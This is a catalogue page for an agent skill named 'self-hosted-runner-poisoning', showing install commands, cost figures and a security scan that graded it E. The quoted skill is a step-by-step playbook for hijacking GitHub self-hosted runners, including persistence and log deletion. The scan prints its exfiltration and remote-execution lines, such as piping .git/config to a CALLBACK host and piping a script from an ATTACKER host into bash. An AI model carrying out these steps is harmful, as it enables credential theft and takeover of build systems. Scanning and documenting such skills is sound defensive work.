Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill self-hosted-runner-poisoninggit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00126 | $0.02084 |
| Opus 5.5 | $0.00050 | $0.00834 |
| Sonnet 5.5 | $0.00025 | $0.00417 |
| Haiku 4.5 | $0.00013 | $0.00208 |
Grade E, and why
self-hosted-runner-poisoning scanned grade E with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
cat .git/config | base64 | curl -d @- https://CALLBACK Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sSfL https://ATTACKER/runner-install.sh | bash Unrestricted tool accessmediumExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
the workflow's `runs-on` field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
cat .git/config | base64 | curl -d @- https://CALLBACK How it starts
The opening of the file, as written. The whole thing — 170 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Self-Hosted Runner Poisoning
What Is Broken and Why
GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they
persist between runs, share state, and often carry long-lived credentials baked into the
environment. When a repository allows fork pull requests to run on self-hosted runners
(especially with the default "Require approval for first-time contributors" setting),
an attacker who has made even one accepted contribution can submit a PR that modifies
the workflow's runs-on field to target a privileged self-hosted runner and execute
arbitrary code on it. Non-ephemeral runners retain their working directory, installed
tooling, and cached credentials across runs — making them ideal for persistence and
lateral movement into the broader infrastructure.
Key Signals
runs-on: self-hostedor named runner labels (azure-builds,macos-vmware,[self-hosted, linux]) in workflow files- Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
- Fork PR workflows that use a
matrix.osormatrix.runnerwhose values the PR author can influence - Non-ephemeral runner: runner directory persists, processes survive between runs
- Workflow checks out code without
persist-credentials: false→.git/configcontains embeddedGITHUB_TOKEN runs-onfield uses an expression:runs-on: ${{ matrix.os }}orruns-on: ${{ inputs.runner }}- Secrets or cloud credentials (
AWS_*,AZURE_*, vCenter creds) available in runner environment - Repository contains build infrastructure workflows (Packer, Terraform, image builds)
Methodology
- Identify repositories using self-hosted runners:
gato enumerate --target ORG --type org # or manually: grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest' - Check the fork PR approval policy: Settings → Actions → Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
- Check if
runs-onuses a matrix or expression that a PR author can modify. - Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
- In a second PR, modify the workflow to:
- Change
runs-onto target a self-hosted runner label - Replace or append a malicious step to the workflow
- Change
- Confirm code execution via OOB callback.
- From runner context: extract
.git/configforGITHUB_TOKEN, enumerate environment variables, access credential stores. - Optionally install persistent runner agent for long-term access.
- Cover tracks: delete workflow run logs via API using stolen token.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 170 lines · 126 tokens per session scan E e510e1d947b5
self-hosted-runner-poisoning is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 126 tokens to every session and 2,084 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it E with 4 findings (sends data to an external url, downloads and executes remote code, unrestricted tool access). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
Other skills, from other repositories
git-ci
CI/CD status queries for GitHub Actions (gh) and GitLab CI (glab). Check pipeline status, failing jobs, workflow runs, job logs, and merge readiness. Use when checking CI status, debugging build failures, viewing job logs, watching pipeline progress, or configuring gh/glab CI read-only allowlists. Not for PR workflows…
cron-expression-translator
Translates cron expressions to plain English and back. Use when a cron schedule in code/config is unclear, or when you know when something should run but not the cron syntax for it.
ci-cd-pipeline-optimizer
Audits CI/CD workflows (GitHub Actions, GitLab CI) to implement caching, parallelization, and cut build durations.
CI/CD流水线
A CI/CD pipeline design guide for automating code integration, testing, and deployment. CI/CD is the practice of automatically checking and delivering software changes.
CI/CD验证器
A CI/CD validation guide for checking automated build, test, and deployment workflows. CI/CD means automatically integrating code changes and delivering them through a software pipeline.
Git工作流管理
A Git workflow manager for organising how developers use branches, review changes, and combine code. Git is a system for tracking changes to source code.